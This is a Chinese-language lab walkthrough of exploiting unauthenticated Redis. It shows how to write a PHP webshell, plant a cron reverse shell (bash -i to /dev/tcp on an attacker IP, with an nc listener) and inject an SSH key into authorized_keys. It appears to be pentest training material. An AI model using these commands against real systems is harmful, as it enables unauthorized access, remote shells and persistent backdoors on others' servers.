漏洞原理

Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的config 命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh文件夹的authotrized_keys 文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。

利用条件

1. redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略，直接暴露在公网
2. 没有设置密码认证（一般为空），可以免密码远程登录redis服务

漏洞危害

1. 攻击者无需认证访问到内部数据，可能导致敏感信息泄露，黑客也可以恶意执行flushall来清空所有数据
2. 攻击者可通过eval执行lua代码，或通过数据备份功能往磁盘写入后门文件
3. 最严重的情况，如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器

漏洞复现

搭建测试环境

受害机Ubuntu 20.04

1. 安装php：sudo apt install php7.4-cli libapache2-mod-php
2. 安装apache2：sudo apt install apache2 。并启动apache服务：sudo service apache2 start 。
3. 安装redis，环境需要4.x/5.x以下的redis版本，这里下载3.2版本的，并解压、编译：

   $ wget http://download.redis.io/releases/redis-3.2.11.tar.gz
   $ tar -zxvf redis-3.2.11.tar.gz
   $ cd redis-3.2.11
   $ make
   

如果make 时遇到以下报错，需要安装gcc，并设置启动参数：
错误信息如下：
/bin/sh: cc: command not found
解决办法，安装gcc：
sudo apt install gcc
然后设置make启动参数后即可运行：
make MALLOC=libc

4. 编译完成后，进入src目录下，复制redis-cli和redis-server到/usr/bin/目录下：

   $ cd src
   $ sudo cp redis-cli redis-server /usr/bin/
   

5. 回到redis-3.2.11目录中，复制redis.conf文件到/etc/目录下：

   $ cd ..
   $ sudo cp redis.conf /etc/
   

使用sudo vim /etc/redis.conf 编辑配置文件，将61行的IP注释起来，表示外网可访问，如下：

然后将80行的yes改为no，表示关闭保护模式，如下：

然后保存退出。

6. 使用redis-server /etc/redis.conf启动redis服务：
   

7. 打开一个新的终端，在窗口使用redis-cli 命令，测试能否正常连接redis：
   

8. 使用quit退出redis命令行，然后在Ubuntu终端中开启ssh服务，确保后面能使用ssh进行连接：

   $ sudo service ssh start
   

攻击机Kali 2021.1

只要能连上redis即可，需要有redis-cli 命令，如果没有redis，需要进行安装：
bash $ sudo apt install redis-tools

利用redis写入webshell

利用条件

1. 服务器开着web服务
2. redis有web目录写权限，可以往web路径写入文件

利用过程

1. 测试使用Kali连接Ubuntu的redis服务：

   $ redis-cli -h 192.168.101.6
   

如果成功连接上受害机，说明受害机存在redis未授权访问漏洞。

2. redis可以写入文件。使用config get dir 命令可以查看写入文件的目录，并且可以用来修改写入文件的目录。如下：
   
   因为web服务无法访问到/home目录下的内容，所以需要修改redis保存文件的路径，将其修改到网站的根目录下，也就是 默认的 /var/www/html 目录。因此redis需要具有对/var/www/html 写入的权限，使用config set dir /var/www/html 来修改dir的值：
   

3. 然后使用redis写入文件：

   $ config set dbfilename shell.php
   $ set xxx "<?php phpinfo(); ?>"
   $ save
   

然而并不能写入文件，结果如下：

具体原因是因为redis对web根目录没有写入权限，这是一个比较重要的点，也是能否利用未授权访问来getshell的因素之一。为了测试，此时需要手动在受害机网站根目录中，新建一个其他用户具有可写入权限的文件夹，然后再将redis保存文件的dir值修改为新建文件夹的路径：


此时再次进行写入，可以看到已经保存成功了：

4. 成功写入文件后可以在受害机中进行查看：
   

5. 现在在浏览器中访问这个页面试试：
   

6. 从上面的访问结果可以看出我们写入的php代码已经成功执行并返回。再次写入文件，将一句话木马写入到目录中：
   

7. 访问webshell页面：
   

8. 使用蚁剑连接webshell：
   

利用redis反弹shell

原理：在攻击机上开启nc反弹端口监听，通过redis未授权访问漏洞，写入Linux定时计划，反弹shell。

利用条件

1. 对/var/spool/cron文件夹有写入权限

利用过程

1. 首先在攻击机监听一个端口：

   $ nc -lvnp 6666
   

2. 在攻击机开启新的命令行窗口，连接受害机的redis服务，然后执行下面的命令：

   $ set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.101.8/6666 0>&1\n\n\n"
   $ config set dir /var/spool/cron/
   $ config set dbfilename root
   $ save
   

注意此处的计划任务命令，如果在Ubuntu中，是无法反弹shell的，原因是因为ubuntu会将redis写入的缓存乱码当作命令来解释，导致执行不成功。而centos不会对乱码进行解释，可以成功执行反弹shell的命令。

3. 可以在受害机查看文件是否保存成功：
   

但是在ubuntu下无法反弹shell，这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误，而乱码是避免不了的，centos会忽略乱码去执行格式正确的任务计划，而ubuntu并不会忽略这些乱码，所以导致命令执行失败，因为自己如果不使用redis写任务计划文件，而是正常向/etc/cron.d目录下写任务计划文件的话，命令是可以正常执行的，所以还是乱码的原因导致命令不能正常执行，而这个问题是不能解决的，因为利用redis未授权访问写的任务计划文件里都有乱码，这些代码来自redis的缓存数据。

利用redis写入ssh公钥

利用条件

1. 受害机必须有～/.ssh文件夹，无论是普通用户还是root用户，否则无法在redis中设置dir的值

直接使用～/.ssh是不行的，需要绝对路径。

2. 另一个条件就是需要知道家目录的名称，比如上面的/home/unravel/.ssh，必须知道unravel

利用过程

1. 首先在攻击机生成ssh公钥，用于连接受害机时来使用私钥验证登陆：

   $ ssh-keygen 
   

2. 将公钥开头和结尾添加两行换行，并存储为新的文本文件，用于redis在连接时写入的内容。添加两个换行的原因是对redis缓存垃圾数据和公钥的内容分隔开来，以免ssh连接失败。可以使用bash命令来完成这个操作：

   (echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > key.txt
   

3. 使用攻击机连接受害机时写入变量x，x存储攻击机的公钥：

   cat key.txt | redis-cli -h 192.168.101.6 -x set x
   

4. 使用攻击机连接受害机redis，将写入的文件路径设置为/home/unravel/.ssh，并设置保存的文件名称为authorized_keys：

注意authorized_keys名称是固定的，不能随便改，否则连接不上ssh
bash $ config set dir /home/unravel/.ssh $ config set dbfilename authorized_keys $ save

5. 然后在受害机文件中查看一下：
   

6. 在攻击机尝试使用本地私钥对受害机进行连接：

   $ ssh unravel@192.168.101.6 -i ~/.ssh/id_rsa
   

总结

Redis在实战中算是比较常用的端口利用了。除了反弹shell的方法在测试的时候没有实现getshell以外，还有一种主从复制的方式，后面有空补上。
参考链接：https://paper.seebug.org/975/